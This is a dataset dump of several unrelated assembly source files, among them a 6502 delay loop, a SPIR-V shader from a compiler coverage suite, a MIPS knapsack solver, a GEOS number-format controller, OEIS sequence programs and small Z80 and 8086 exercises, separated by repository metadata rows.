ldx#119 //b=119
repeat:
//nop //2 cyc
repeat2:
dex //2 cyc
//nop //2 cyc
bne repeat2 //3 cyc
dey //2 cyc
bne repeat //3 cyc
rts
| 15.761905
| 53
| 0.637462
|
aa96d97a6e7c04c4580e9d6fa2dec9527a1dfda5
| 6,755
|
asm
|
Assembly
|
coverage/PENDING_SUBMIT/amdvlk/0590-COVERAGE-instruction-simplify-5443-3545/work/variant/1_spirv_asm/shader.frag.asm
|
asuonpaa/ShaderTests
|
6a3672040dcfa0d164d313224446496d1775a15e
|
[
"Apache-2.0"
] | null | null | null |
coverage/PENDING_SUBMIT/amdvlk/0590-COVERAGE-instruction-simplify-5443-3545/work/variant/1_spirv_asm/shader.frag.asm
|
asuonpaa/ShaderTests
|
6a3672040dcfa0d164d313224446496d1775a15e
|
[
"Apache-2.0"
] | 47
|
2021-03-11T07:42:51.000Z
|
2022-03-14T06:30:14.000Z
|
coverage/PENDING_SUBMIT/amdvlk/0590-COVERAGE-instruction-simplify-5443-3545/work/variant/1_spirv_asm/shader.frag.asm
|
asuonpaa/ShaderTests
|
6a3672040dcfa0d164d313224446496d1775a15e
|
[
"Apache-2.0"
] | 4
|
2021-03-09T13:37:19.000Z
|
2022-02-25T07:32:11.000Z
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 141
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %100
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %11 "arr"
OpName %14 "buf0"
OpMemberName %14 0 "_GLF_uniform_int_values"
OpName %16 ""
OpName %50 "ref"
OpName %73 "i"
OpName %100 "_GLF_color"
OpName %114 "i"
OpDecorate %13 ArrayStride 16
OpMemberDecorate %14 0 Offset 0
OpDecorate %14 Block
OpDecorate %16 DescriptorSet 0
OpDecorate %16 Binding 0
OpDecorate %100 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeInt 32 1
%7 = OpTypeInt 32 0
%8 = OpConstant %7 10
%9 = OpTypeArray %6 %8
%10 = OpTypePointer Function %9
%12 = OpConstant %7 11
%13 = OpTypeArray %6 %12
%14 = OpTypeStruct %13
%15 = OpTypePointer Uniform %14
%16 = OpVariable %15 Uniform
%17 = OpConstant %6 0
%18 = OpConstant %6 2
%19 = OpTypePointer Uniform %6
%22 = OpConstant %6 1
%25 = OpConstant %6 3
%28 = OpConstant %6 4
%31 = OpConstant %6 5
%34 = OpConstant %6 6
%37 = OpConstant %6 7
%40 = OpConstant %6 8
%43 = OpConstant %6 9
%46 = OpConstant %6 10
%72 = OpTypePointer Function %6
%82 = OpTypeBool
%97 = OpTypeFloat 32
%98 = OpTypeVector %97 4
%99 = OpTypePointer Output %98
%100 = OpVariable %99 Output
%4 = OpFunction %2 None %3
%5 = OpLabel
%11 = OpVariable %10 Function
%50 = OpVariable %10 Function
%73 = OpVariable %72 Function
%114 = OpVariable %72 Function
%20 = OpAccessChain %19 %16 %17 %18
%21 = OpLoad %6 %20
%23 = OpAccessChain %19 %16 %17 %22
%24 = OpLoad %6 %23
%26 = OpAccessChain %19 %16 %17 %25
%27 = OpLoad %6 %26
%29 = OpAccessChain %19 %16 %17 %28
%30 = OpLoad %6 %29
%32 = OpAccessChain %19 %16 %17 %31
%33 = OpLoad %6 %32
%35 = OpAccessChain %19 %16 %17 %34
%36 = OpLoad %6 %35
%38 = OpAccessChain %19 %16 %17 %37
%39 = OpLoad %6 %38
%41 = OpAccessChain %19 %16 %17 %40
%42 = OpLoad %6 %41
%44 = OpAccessChain %19 %16 %17 %43
%45 = OpLoad %6 %44
%47 = OpAccessChain %19 %16 %17 %46
%48 = OpLoad %6 %47
%49 = OpCompositeConstruct %9 %21 %24 %27 %30 %33 %36 %39 %42 %45 %48
OpStore %11 %49
%51 = OpAccessChain %19 %16 %17 %18
%52 = OpLoad %6 %51
%53 = OpAccessChain %19 %16 %17 %22
%54 = OpLoad %6 %53
%55 = OpAccessChain %19 %16 %17 %22
%56 = OpLoad %6 %55
%57 = OpAccessChain %19 %16 %17 %22
%58 = OpLoad %6 %57
%59 = OpAccessChain %19 %16 %17 %22
%60 = OpLoad %6 %59
%61 = OpAccessChain %19 %16 %17 %22
%62 = OpLoad %6 %61
%63 = OpAccessChain %19 %16 %17 %22
%64 = OpLoad %6 %63
%65 = OpAccessChain %19 %16 %17 %22
%66 = OpLoad %6 %65
%67 = OpAccessChain %19 %16 %17 %22
%68 = OpLoad %6 %67
%69 = OpAccessChain %19 %16 %17 %22
%70 = OpLoad %6 %69
%71 = OpCompositeConstruct %9 %52 %54 %56 %58 %60 %62 %64 %66 %68 %70
OpStore %50 %71
OpStore %73 %17
OpBranch %74
%74 = OpLabel
OpLoopMerge %76 %77 None
OpBranch %78
%78 = OpLabel
%79 = OpLoad %6 %73
%80 = OpAccessChain %19 %16 %17 %17
%81 = OpLoad %6 %80
%83 = OpSLessThan %82 %79 %81
OpBranchConditional %83 %75 %76
%75 = OpLabel
%84 = OpLoad %6 %73
%85 = OpLoad %6 %73
%86 = OpExtInst %6 %1 SSign %85
%87 = OpAccessChain %19 %16 %17 %18
%88 = OpLoad %6 %87
%89 = OpAccessChain %19 %16 %17 %22
%90 = OpLoad %6 %89
%91 = OpExtInst %6 %1 SClamp %86 %88 %90
%92 = OpAccessChain %72 %11 %91
%93 = OpLoad %6 %92
%94 = OpAccessChain %72 %11 %84
OpStore %94 %93
OpBranch %77
%77 = OpLabel
%95 = OpLoad %6 %73
%96 = OpIAdd %6 %95 %22
OpStore %73 %96
OpBranch %74
%76 = OpLabel
%101 = OpAccessChain %19 %16 %17 %22
%102 = OpLoad %6 %101
%103 = OpConvertSToF %97 %102
%104 = OpAccessChain %19 %16 %17 %18
%105 = OpLoad %6 %104
%106 = OpConvertSToF %97 %105
%107 = OpAccessChain %19 %16 %17 %18
%108 = OpLoad %6 %107
%109 = OpConvertSToF %97 %108
%110 = OpAccessChain %19 %16 %17 %22
%111 = OpLoad %6 %110
%112 = OpConvertSToF %97 %111
%113 = OpCompositeConstruct %98 %103 %106 %109 %112
OpStore %100 %113
%115 = OpAccessChain %19 %16 %17 %18
%116 = OpLoad %6 %115
OpStore %114 %116
OpBranch %117
%117 = OpLabel
OpLoopMerge %119 %120 None
OpBranch %121
%121 = OpLabel
%122 = OpLoad %6 %114
%123 = OpAccessChain %19 %16 %17 %17
%124 = OpLoad %6 %123
%125 = OpSLessThan %82 %122 %124
OpBranchConditional %125 %118 %119
%118 = OpLabel
%126 = OpLoad %6 %114
%127 = OpAccessChain %72 %11 %126
%128 = OpLoad %6 %127
%129 = OpLoad %6 %114
%130 = OpAccessChain %72 %50 %129
%131 = OpLoad %6 %130
%132 = OpINotEqual %82 %128 %131
OpSelectionMerge %134 None
OpBranchConditional %132 %133 %134
%133 = OpLabel
%135 = OpAccessChain %19 %16 %17 %18
%136 = OpLoad %6 %135
%137 = OpConvertSToF %97 %136
%138 = OpCompositeConstruct %98 %137 %137 %137 %137
OpStore %100 %138
OpBranch %134
%134 = OpLabel
OpBranch %120
%120 = OpLabel
%139 = OpLoad %6 %114
%140 = OpIAdd %6 %139 %22
OpStore %114 %140
OpBranch %117
%119 = OpLabel
OpReturn
OpFunctionEnd
| 35.182292
| 78
| 0.47772
|
d7dedc9a1ddd749a29543452824c786a9144bc06
| 2,479
|
asm
|
Assembly
|
MIPS_Language/exp_2_2.asm
|
Timothy-LiuXuefeng/MIPS
|
6a3afe1ce209480d8c13a9251ca0a3b8cdf8b396
|
[
"MIT"
] | null | null | null |
MIPS_Language/exp_2_2.asm
|
Timothy-LiuXuefeng/MIPS
|
6a3afe1ce209480d8c13a9251ca0a3b8cdf8b396
|
[
"MIT"
] | null | null | null |
MIPS_Language/exp_2_2.asm
|
Timothy-LiuXuefeng/MIPS
|
6a3afe1ce209480d8c13a9251ca0a3b8cdf8b396
|
[
"MIT"
] | null | null | null |
.data
inputfile: .asciiz "./test.dat"
.text
j main
knapsack_search:
# save $ra and $sx
addi $sp, $sp -16
sw $s0, 0($sp)
sw $s1, 4($sp)
sw $s2, 8($sp)
sw $ra, 12($sp)
# val_max: $s0
# weight: $s1
# val: $s2
li $s0, 0 # val_max = 0
# state_cnt: $t0
# 0x1 << item_num: $t1
# for state_cnt = 0
li $t0, 0
li $t1, 1
sllv $t1, $t1, $a0
for_state_cnt:
# judge: for_state_cnt
slt $t2, $t0, $t1
beq $t2, $0, end_for_state_cnt
# loop in for_state_vnt:
li $s1, 0
li $s2, 0
# i: $t2
# for i = 0
li $t2, 0
for_i:
# judge in for_i
slt $t3, $t2, $a0
beq $t3, $0, end_for_i
# loop in for_i
# flag: $t3
srav $t3, $t0, $t2
andi $t3, $t3, 1
bne $t3, $0, update_weight_and_val
j end_update_weight_and_val
update_weight_and_val:
sll $t3, $t2, 3 # i * 8
add $t3, $t3, $a1
lw $t4, 0($t3)
add $s1, $s1, $t4 # update weight
lw $t4, 4($t3)
add $s2, $s2, $t4 # update val
end_update_weight_and_val:
addi $t2, $t2, 1 # ++i
j for_i
end_for_i:
# judge whether to update val_max
slt $t2, $a2, $s1 # knap_cap < weight ?
bne $t2, $0, end_update_val_max
slt $t2, $s0, $s2
beq $t2, $0, end_update_val_max
update_val_max:
move $s0, $s2 # val_max = val
end_update_val_max:
addi $t0, $t0, 1 # ++state_cnt
j for_state_cnt
end_for_state_cnt:
# return value
move $v0, $s0
# restore $ra and $sx
lw $s0, 0($sp)
lw $s1, 4($sp)
lw $s2, 8($sp)
lw $ra, 12($sp)
addi $sp, $sp 16
jr $ra
# ===========================================
main:
# infile: $s0
# in_buffer: $s1
# allocate for in_buffer on stack
addi $sp, $sp, -2048
move $s1, $sp
#open file
la $a0, inputfile
li $a1, 0
li $a2, 0
li $v0, 13
syscall
move $s0, $v0
# read from file
move $a0, $s0
move $a1, $s1
li $a2, 2048
li $v0, 14
syscall
# close file
move $a0, $s0
li $v0, 16
syscall
# call knapsack_dp_loop
lw, $a2, 0($s1)
addi, $a1, $s1, 8
lw, $a0, 4($s1)
jal knapsack_search
move $s0, $v0
# print result
move $a0, $s0
li $v0, 1
syscall
# store the value into $v0
move $v0, $s0
# deallocate in_buffer
addi $sp, $sp, 2048
| 16.309211
| 45
| 0.488503
|
567d6f98114cb095914aca0e91f3d592bccc77de
| 12,682
|
asm
|
Assembly
|
Library/Math/UI/uiFormatMethods.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Math/UI/uiFormatMethods.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Math/UI/uiFormatMethods.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @-----------------------------------------------------------------------
Copyright (c) Geoworks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: uiFormatMain.asm
AUTHOR: Cheng, 10/92
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/92 Initial revision
DESCRIPTION:
NOTES:
Sequence of events:
MSG_GEN_CONTROL_GET_INFO:
handled entirely by controller
MSG_GEN_CONTROL_UPDATE_UI:
controller sends message to output
app initializes FormatInfoStruc
with FIS_userDefFmtArrayFileHan and FIS_userDefFmtArrayBlkHan
app calls FloatFormatInitFormatList
FloatFormatInitFormatList will:
get number of list items
initialize the dynamic list
app SHOULD NOT call FloatFormatProcessFormatSelected
dynamic list requests:
controller will send info to app
app will bundle info and user def array and call a routine in
the controller to do the right thing
User changes selection in the format list:
if selection is within the pre-defined list then
update the sample area
else
get app to update the sample area
endif
(write routine that packages message for app to send back to the
controller)
User clicks on "New Format" button:
app calls controller with FormatInfoStruc to initialize the DB
User edits an existing format:
app calls controller with FormatInfoStruc to initialize the DB
User deletes an existing format:
app calls controller with FormatInfoStruc to update strucs
app needs to send both FloatFormat notifications to update UI
User defines a new format or changes a format and clicks on OK:
get info from DB and create a FormatInfoStruc
pass FormatInfoStruc to app
app calls controller with FormatInfoStruc to add new format
app needs to send both FloatFormat notifications to update UI
$Id: uiFormatMethods.asm,v 1.1 97/04/05 01:23:29 newdeal Exp $
-------------------------------------------------------------------------------@
MathClassStructures segment resource
FloatFormatClass
MathClassStructures ends
FloatFormatCode segment resource
COMMENT @-----------------------------------------------------------------------
FUNCTION: FloatFormatGetInfo
DESCRIPTION: The GenControl object calls the message to get information about
the controller. The structure returned allows GenControlClass
to implement a wide range of default behavior.
CALLED BY: Many default GenControlClass methods as well as methods from
other objects (such as the toolbox).
PASS: *ds:si - instance data
es - segment of FloatFormatClass
ax - the message
cx:dx - GenControlBuildInfo structure to fill in
RETURN: none
DESTROYED: bx,di,si,ds,es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
copy FC_dupInfo data into cx:dx
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/92 Initial version
-------------------------------------------------------------------------------@
FloatFormatGetInfo method dynamic FloatFormatClass,
MSG_GEN_CONTROL_GET_INFO
mov si, offset FC_dupInfo
mov es, cx
mov di, dx ;es:di = dest
segmov ds, cs
mov cx, size GenControlBuildInfo
rep movsb
ret
FloatFormatGetInfo endm
FC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
FC_iniFileKey, ; GCBI_initFileKey
FC_gcnList, ; GCBI_gcnList
length FC_gcnList, ; GCBI_gcnCount
FC_notifyTypeList, ; GCBI_notificationList
length FC_notifyTypeList, ; GCBI_notificationCount
FCName, ; GCBI_controllerName
handle FloatFormatUI, ; GCBI_dupBlock
FC_childList, ; GCBI_childList
length FC_childList, ; GCBI_childCount
FC_featuresList, ; GCBI_featuresList
length FC_featuresList, ; GCBI_featuresCount
FLOAT_CTRL_DEFAULT_FEATURES, ; GCBI_features
0, ; GCBI_toolBlock
0, ; GCBI_toolList
0, ; GCBI_toolCount
0, ; GCBI_toolFeaturesList
0, ; GCBI_toolFeaturesCount
0,
FC_helpContext> ; GCBI_helpContext
if FULL_EXECUTE_IN_PLACE
MathControlInfoXIP segment resource
endif
FC_helpContext char "dbNumFormat", 0
FC_iniFileKey char "floatFormat", 0
FC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_FLOAT_FORMAT_INIT>,
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_FLOAT_FORMAT_CHANGE>
FC_notifyTypeList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_FLOAT_FORMAT_INIT>,
<MANUFACTURER_ID_GEOWORKS, GWNT_FLOAT_FORMAT_CHANGE>
ifdef GPC_ONLY
FC_childList GenControlChildInfo \
<offset ChooseFormatDB, mask FCF_FORMAT_LIST or mask FCF_DEFINE_FORMATS, mask GCCF_IS_DIRECTLY_A_FEATURE>
else
FC_childList GenControlChildInfo \
<offset ChooseFormatDB, mask FCF_FORMAT_LIST, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset UIFmtMainTriggersGroup, mask FCF_DEFINE_FORMATS, mask GCCF_IS_DIRECTLY_A_FEATURE>
endif
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
FC_featuresList GenControlFeaturesInfo \
<offset UIFmtMainTriggersGroup, DefineFormatName, 0>,
<offset ChooseFormatDB, ChooseFormatName, 0>
if FULL_EXECUTE_IN_PLACE
MathControlInfoXIP ends
endif
COMMENT @-----------------------------------------------------------------------
FUNCTION: FloatFormatUpdateUI
DESCRIPTION: Handle notification of attributes change.
CALLED BY: Sent by GenControlClass in the default handler for
MSG_META_NOTIFY_WITH_DATA_BLOCK.
PASS: *ds:si - instance data
ss:bp - GenControlUpdateUIParams
data blk - UpdateUIDataBlk
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,si,bp,es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
NotifyFloatFormatChange struc
NFFC_vmFileHan word
NFFC_vmBlkHan word
NFFC_format word
NFFC_count word
NotifyFloatFormatChange ends
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/92 Initial version
-------------------------------------------------------------------------------@
FloatFormatUpdateUI method dynamic FloatFormatClass,
MSG_GEN_CONTROL_UPDATE_UI
.enter
mov bx, ss:[bp].GCUUIP_dataBlock ; bx <- data blk han
call MemLock
mov es, ax ; es:0<-NotifyFloatFormatChange
push bx ; save data blk han
mov cx, es:NFFC_format
EC< cmp cx, FORMAT_ID_INDETERMINATE >
EC< je formatOK >
EC< cmp cx, FORMAT_ID_PREDEF >
EC< jb formatOK >
EC< cmp cx, FORMAT_ID_TIME_HM_24HR >
EC< ERROR_A FLOAT_FORMAT_BAD_PARAMS >
EC< formatOK: >
;
; create a FormatInfoStruc in case format is user defined
; push/pulls intentionally indented
;
push si
call GetChildBlock
push bx
mov di, es:NFFC_vmFileHan ; di <- file han
mov si, es:NFFC_vmBlkHan ; si <- blk han
mov ax, size FormatInfoStruc
push cx ; save token
mov cx, mask HF_SWAPABLE or ((mask HAF_ZERO_INIT or mask HAF_LOCK) shl 8)
call MemAlloc
pop cx ; retrieve token
mov es, ax
mov es:FIS_signature, FORMAT_INFO_STRUC_ID
pop es:FIS_childBlk
mov es:FIS_chooseFmtListChunk, offset FormatsList
mov es:FIS_userDefFmtArrayFileHan, di
mov es:FIS_userDefFmtArrayBlkHan, si
mov es:FIS_curToken, cx
pop si
push bx ; save FIS handle
;-----------------------------------------------------------------------
; branch depending of type
;
cmp ss:[bp].GCUUIP_changeType, GWNT_FLOAT_FORMAT_INIT
je forceReinit
;
; intercept indeterminate states
;
cmp cx, FORMAT_ID_INDETERMINATE
jne determinate
call IndeterminateStateDisableGadgets
jmp short done
determinate:
;
; else GCUUIP_changeType = GWNT_FLOAT_FORMAT_CHANGE
; change the selection
;
call FloatFormatGetListEntryWithToken ; cx <- list entry num
mov es:FIS_curSelection, cx
call GetChildBlockAndFeatures
mov es:FIS_features, ax ; ax <- feature set
mov di, offset FormatsList ; ^lbx:di <- list
clr dx ; not indeterminate
call SetEntryPosViaOutput
call FloatFormatProcessFormatSelected
jmp short done
forceReinit:
;
; GCUUIP_changeType = GWNT_FLOAT_FORMAT_INIT
; get target to reinit the FormatsList
;
call FloatFormatGetListEntryWithToken ; cx <- list entry num
mov es:FIS_curSelection, cx
mov ax, MSG_FLOAT_CTRL_UPDATE_UI
mov bx, ss:[bp].GCUUIP_childBlock
call FISSendToOutput
done:
pop bx ; retrieve FIS handle
call MemFree
pop bx ; retrieve data blk han
call MemUnlock ; unlock data blk
.leave
ret
FloatFormatUpdateUI endm
COMMENT @-----------------------------------------------------------------------
FUNCTION: IndeterminateStateDisableGadgets
DESCRIPTION:
CALLED BY: INTERNAL (FloatFormatUpdateUI)
PASS: *ds:si - instance data
RETURN: nothing
DESTROYED: ax,bx,cx,dx,bp,di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 10/92 Initial version
-------------------------------------------------------------------------------@
IndeterminateStateDisableGadgets proc near
call GetChildBlock
;
; disable format rep
;
mov di, offset UIFmtMainFormatStr
call SetNotEnabled
;
; disable samples
;
ifdef GPC_ONLY
mov di, offset UIFmtMainSample1Group
call SetNotEnabled
mov di, offset UIFmtMainSample2Group
call SetNotEnabled
else
mov di, offset UIFmtMainSample1
call SetNotEnabled
mov di, offset UIFmtMainSample2
call SetNotEnabled
endif
;
; If no FCF_DEFINE_FORMATS features are present, don't
; try to disable them.
;
test es:FIS_features, mask FCF_DEFINE_FORMATS
jz noTriggers
;
; disable user-defined format triggers
;
mov di, offset UIFmtMainTriggerCreate
call SetNotEnabled
mov di, offset UIFmtMainTriggerDelete
call SetNotEnabled
mov di, offset UIFmtMainTriggerEdit
call SetNotEnabled
noTriggers:
;
; disable list selection
;
mov dx, -1 ; specify indeterminate
mov di, offset FormatsList ; ^lbx:di <- list
call SetEntryPosViaOutput
ret
IndeterminateStateDisableGadgets endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: FloatFormatRequestMoniker
DESCRIPTION:
CALLED BY: EXTERNAL (MSG_FC_REQUEST_MONIKER)
PASS: ^lcx:dx - the dynamic list requesting the moniker
bp - position of the item requested
RETURN:
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 10/92 Initial version
-------------------------------------------------------------------------------@
FloatFormatRequestMoniker method dynamic FloatFormatClass,
MSG_FC_REQUEST_MONIKER
mov ax, MSG_FLOAT_CTRL_REQUEST_MONIKER
call GetChildBlock ; bx <- child block
mov cx, bp ; no selection
call FISSendToOutput
ret
FloatFormatRequestMoniker endm
COMMENT @---------------------------------------------------------------------
FUNCTION: FloatFormatVisOpen
DESCRIPTION:
CALLED BY: EXTERNAL (MSG_VIS_OPEN)
PASS: bp - top window flag
RETURN:
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 1/19/98 Initial version
-----------------------------------------------------------------------------@
ifdef GPC_ONLY
FloatFormatVisOpen method dynamic FloatFormatClass, MSG_VIS_OPEN
mov di, 2000
call ThreadBorrowStackSpace
push di
;
; make text objects not editable/selectable
;
push bp, si
call GetChildBlock
mov cx, NUM_MAIN_TEXT_OBJS
clr di
textLoop:
push cx, di
mov ax, MSG_VIS_TEXT_MODIFY_EDITABLE_SELECTABLE
clr cl ; set
mov ch, mask VTS_EDITABLE or mask VTS_SELECTABLE ; clear
mov si, cs:mainTextObjList[di]
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop cx, di
add di, size lptr
loop textLoop
pop bp, si
mov ax, MSG_VIS_OPEN
mov di, offset FloatFormatClass
call ObjCallSuperNoLock
pop di
call ThreadReturnStackSpace
ret
FloatFormatVisOpen endm
mainTextObjList label lptr
lptr offset UIFmtMainFormatStr,
offset UIFmtMainSample1Base,
offset UIFmtMainSample1Sample,
offset UIFmtMainSample2Base,
offset UIFmtMainSample2Sample
NUM_MAIN_TEXT_OBJS = ($-mainTextObjList) / (size lptr)
endif
FloatFormatCode ends
| 24.964567
| 107
| 0.676549
|
e97f50c706f64d415d911c0d038e5e91b0e0ce23
| 2,169
|
asm
|
Assembly
|
programs/oeis/027/A027927.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/027/A027927.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/027/A027927.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A027927: Number of plane regions after drawing (in general position) a convex n-gon and all its diagonals.
; 1,2,5,12,26,51,92,155,247,376,551,782,1080,1457,1926,2501,3197,4030,5017,6176,7526,9087,10880,12927,15251,17876,20827,24130,27812,31901,36426,41417,46905,52922,59501,66676,74482,82955,92132,102051,112751,124272,136655,149942,164176,179401,195662,213005,231477,251126,272001,294152,317630,342487,368776,396551,425867,456780,489347,523626,559676,597557,637330,679057,722801,768626,816597,866780,919242,974051,1031276,1090987,1153255,1218152,1285751,1356126,1429352,1505505,1584662,1666901,1752301,1840942,1932905,2028272,2127126,2229551,2335632,2445455,2559107,2676676,2798251,2923922,3053780,3187917,3326426,3469401,3616937,3769130,3926077,4087876,4254626,4426427,4603380,4785587,4973151,5166176,5364767,5569030,5779072,5995001,6216926,6444957,6679205,6919782,7166801,7420376,7680622,7947655,8221592,8502551,8790651,9086012,9388755,9699002,10016876,10342501,10676002,11017505,11367137,11725026,12091301,12466092,12849530,13241747,13642876,14053051,14472407,14901080,15339207,15786926,16244376,16711697,17189030,17676517,18174301,18682526,19201337,19730880,20271302,20822751,21385376,21959327,22544755,23141812,23750651,24371426,25004292,25649405,26306922,26977001,27659801,28355482,29064205,29786132,30521426,31270251,32032772,32809155,33599567,34404176,35223151,36056662,36904880,37767977,38646126,39539501,40448277,41372630,42312737,43268776,44240926,45229367,46234280,47255847,48294251,49349676,50422307,51512330,52619932,53745301,54888626,56050097,57229905,58428242,59645301,60881276,62136362,63410755,64704652,66018251,67351751,68705352,70079255,71473662,72888776,74324801,75781942,77260405,78760397,80282126,81825801,83391632,84979830,86590607,88224176,89880751,91560547,93263780,94990667,96741426,98516276,100315437,102139130,103987577,105861001,107759626,109683677,111633380,113608962,115610651,117638676,119693267,121774655,123883072,126018751,128181926,130372832,132591705,134838782,137114301,139418501,141751622,144113905,146505592,148926926,151378151,153859512,156371255,158913627,161486876
add $0,1
bin $0,2
add $0,3
bin $0,2
mov $1,$0
div $1,3
| 216.9
| 2,003
| 0.860765
|
e2b9ce23562ed0c4689575d7e5a5da09d6676ab5
| 204
|
asm
|
Assembly
|
util/Macro.asm
|
sidebog7/ZXWargame
|
63e2f01fbdf4f31b6c7ea34f0cd3b293c69a8cc6
|
[
"MIT"
] | 1
|
2018-09-03T15:10:12.000Z
|
2018-09-03T15:10:12.000Z
|
util/Macro.asm
|
sidebog7/ZXWargame
|
63e2f01fbdf4f31b6c7ea34f0cd3b293c69a8cc6
|
[
"MIT"
] | null | null | null |
util/Macro.asm
|
sidebog7/ZXWargame
|
63e2f01fbdf4f31b6c7ea34f0cd3b293c69a8cc6
|
[
"MIT"
] | null | null | null |
;-------------------------------------------------------------------
;Usage: ADD_A_TO_HL Response: HL=HL+A
MACRO ADD_A_TO_HL
add a,l
ld l,a
jr nc, $+3
inc h
ENDM
| 22.666667
| 68
| 0.328431
|
0e922de5fa4ae7de0959c5a894bbe5c2f9f88efd
| 405
|
asm
|
Assembly
|
p0604.asm
|
zhangyuesai/8086-asm-learning-code
|
a934fb3a98a53a6167b647535b3251680294a786
|
[
"MIT"
] | 1
|
2018-07-23T10:30:22.000Z
|
2018-07-23T10:30:22.000Z
|
p0604.asm
|
zhangyuesai/8086-asm-learning-code
|
a934fb3a98a53a6167b647535b3251680294a786
|
[
"MIT"
] | null | null | null |
p0604.asm
|
zhangyuesai/8086-asm-learning-code
|
a934fb3a98a53a6167b647535b3251680294a786
|
[
"MIT"
] | null | null | null |
assume cs:code,ds:data,ss:stack
data segment
dw 0123h,0456h,0789h,0abch,0defh,0fedh,0cbah,0987h
data ends
stack segment
dw 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
stack ends
code segment
start:
mov ax,stack
mov ss,ax
mov sp,20h
mov ax,data
mov ds,ax
mov bx,0
mov cx,8
s: push [bx]
add bx,2
loop s
mov bx,0
mov cx,8
s0: pop [bx]
add bx,2
loop s0
mov ax,4c00h
int 21h
code ends
end start
| 10.657895
| 51
| 0.679012
|
d6c458206c6d91c7c125d94a0730814da812b170
| 783
|
asm
|
Assembly
|
oeis/206/A206803.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/206/A206803.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/206/A206803.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A206803: Sum_{0<j<k<=n} P(k)-P(j), where P(j)=A065091(j) is the j-th odd prime.
; Submitted by Christian Krause
; 2,8,26,52,98,156,242,376,528,740,996,1276,1608,2024,2530,3068,3708,4420,5170,6040,6994,8080,9350,10716,12132,13652,15226,16912,19004,21216,23614,26076,28868,31728,34798,38084,41518,45180,49076,53052,57438,61908,66550,71280,76550,82372,88382,94488,100790,107392,114096,121320,128862,136728,144924,153232,161882,170764,179764,189364,199818,210520,221348,232432,244426,256816,269876,283072,296544,310436,324896,339788,355118,370744,386820,403504,420496,438112,456518,475084,494460,514000,534038,554412
lpb $0
mov $2,$0
sub $0,1
add $2,1
seq $2,185382 ; Sum_{j=1..n-1} P(n)-P(j), where P(j) = A065091(j) is the j-th odd prime.
add $1,$2
lpe
mov $0,$1
add $0,2
| 55.928571
| 500
| 0.742018
|
daf82e6c933c297cbfbc924faf0fb743f3cb8162
| 2,383
|
asm
|
Assembly
|
ee/wman/drarr.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
ee/wman/drarr.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
ee/wman/drarr.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
